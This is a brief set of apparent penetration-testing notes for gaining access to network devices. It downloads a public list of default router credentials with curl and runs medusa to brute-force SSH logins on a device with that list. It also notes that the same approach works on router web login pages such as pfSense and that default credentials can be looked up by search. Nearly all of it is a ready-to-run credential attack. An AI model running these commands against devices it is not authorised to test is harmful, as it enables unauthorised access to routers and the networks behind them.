root@oco:~$ curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/Routers/0ALL-USERNAMES-AND-PASSWORDS.txt
root@oco:~$ medusa -h {networkDeviceIP} -U 0ALL-USERNAMES-AND-PASSWORDS.txt -P 0ALL-USERNAMES-AND-PASSWORDS.txt -M ssh
* can also be used on the networking device's login page
- e.g., pfSense router login page, etc
* ALT: Google Search: "{technology/device} default credentials"